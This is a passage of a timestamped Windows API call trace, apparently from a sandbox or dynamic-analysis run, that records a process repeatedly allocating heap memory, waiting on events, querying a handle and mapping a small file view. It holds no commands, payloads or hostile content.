RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.222] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.222] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.222] ResetEvent (hEvent=0xe8) returned 1 [0149.222] SetEvent (hEvent=0xec) returned 1 [0149.222] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.222] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.222] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.222] ResetEvent (hEvent=0xe8) returned 1 [0149.222] SetEvent (hEvent=0xec) returned 1 [0149.222] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.222] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.222] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.223] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.223] ResetEvent (hEvent=0xe8) returned 1 [0149.223] SetEvent (hEvent=0xec) returned 1 [0149.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.223] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.223] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.223] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.223] ResetEvent (hEvent=0xe8) returned 1 [0149.223] SetEvent (hEvent=0xec) returned 1 [0149.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.223] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.223] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.223] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.223] ResetEvent (hEvent=0xe8) returned 1 [0149.223] SetEvent (hEvent=0xec) returned 1 [0149.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.223] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.223] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.223] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.223] ResetEvent (hEvent=0xe8) returned 1 [0149.223] SetEvent (hEvent=0xec) returned 1 [0149.224] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.224] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.224] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.224] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.224] ResetEvent (hEvent=0xe8) returned 1 [0149.224] SetEvent (hEvent=0xec) returned 1 [0149.224] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.224] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.224] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.224] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.224] ResetEvent (hEvent=0xe8) returned 1 [0149.224] SetEvent (hEvent=0xec) returned 1 [0149.224] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.224] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.224] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.224] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.224] ResetEvent (hEvent=0xe8) returned 1 [0149.224] SetEvent (hEvent=0xec) returned 1 [0149.224] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.225] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.225] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.225] ResetEvent (hEvent=0xe8) returned 1 [0149.225] SetEvent (hEvent=0xec) returned 1 [0149.225] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.225] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.225] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.225] ResetEvent (hEvent=0xe8) returned 1 [0149.225] SetEvent (hEvent=0xec) returned 1 [0149.225] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.225] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.225] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.225] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.225] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.225] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.225] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.225] ResetEvent (hEvent=0xe8) returned 1 [0149.225] SetEvent (hEvent=0xec) returned 1 [0149.355] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.355] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.355] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.355] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.355] ResetEvent (hEvent=0xe8) returned 1 [0149.355] SetEvent (hEvent=0xec) returned 1 [0149.355] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.356] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.356] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.356] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.356] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.356] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.356] ResetEvent (hEvent=0xe8) returned 1 [0149.356] SetEvent (hEvent=0xec) returned 1 [0149.356] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.356] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.356] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.356] ResetEvent (hEvent=0xe8) returned 1 [0149.356] SetEvent (hEvent=0xec) returned 1 [0149.356] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.356] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.356] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.356] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.356] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.356] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.357] ResetEvent (hEvent=0xe8) returned 1 [0149.357] SetEvent (hEvent=0xec) returned 1 [0149.357] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.357] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.357] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.357] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.357] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.357] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.357] ResetEvent (hEvent=0xe8) returned 1 [0149.357] SetEvent (hEvent=0xec) returned 1 [0149.357] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.357] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.357] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.357] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.357] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.357] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.357] ResetEvent (hEvent=0xe8) returned 1 [0149.357] SetEvent (hEvent=0xec) returned 1 [0149.358] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.358] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.358] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.358] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.358] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.358] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.358] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.358] ResetEvent (hEvent=0xe8) returned 1 [0149.358] SetEvent (hEvent=0xec) returned 1 [0149.358] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.358] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.358] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.358] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.358] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.358] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.358] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.358] ResetEvent (hEvent=0xe8) returned 1 [0149.358] SetEvent (hEvent=0xec) returned 1 [0149.358] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.358] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.358] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.358] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.359] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.359] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.359] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.359] ResetEvent (hEvent=0xe8) returned 1 [0149.359] SetEvent (hEvent=0xec) returned 1 [0149.359] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.359] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.359] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.359] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.359] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.359] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.359] ResetEvent (hEvent=0xe8) returned 1 [0149.359] SetEvent (hEvent=0xec) returned 1 [0149.359] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.359] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.359] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.359] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.359] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.359] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.360] ResetEvent (hEvent=0xe8) returned 1 [0149.360] SetEvent (hEvent=0xec) returned 1 [0149.360] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.360] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.360] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.360] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.360] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.360] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.360] ResetEvent (hEvent=0xe8) returned 1 [0149.360] SetEvent (hEvent=0xec) returned 1 [0149.360] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.360] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.360] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.360] ResetEvent (hEvent=0xe8) returned 1 [0149.360] SetEvent (hEvent=0xec) returned 1 [0149.360] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.360] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.360] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.361] ResetEvent (hEvent=0xe8) returned 1 [0149.361] SetEvent (hEvent=0xec) returned 1 [0149.361] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.361] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.361] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.361] ResetEvent (hEvent=0xe8) returned 1 [0149.361] SetEvent (hEvent=0xec) returned 1 [0149.361] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.361] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.361] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.361] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.361] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.361] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.361] ResetEvent (hEvent=0xe8) returned 1 [0149.361] SetEvent (hEvent=0xec) returned 1 [0149.361] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.361] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.362] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.362] ResetEvent (hEvent=0xe8) returned 1 [0149.362] SetEvent (hEvent=0xec) returned 1 [0149.362] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.362] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.362] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.362] ResetEvent (hEvent=0xe8) returned 1 [0149.362] SetEvent (hEvent=0xec) returned 1 [0149.362] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.362] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.362] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.362] ResetEvent (hEvent=0xe8) returned 1 [0149.362] SetEvent (hEvent=0xec) returned 1 [0149.362] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.362] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.362] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.362] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 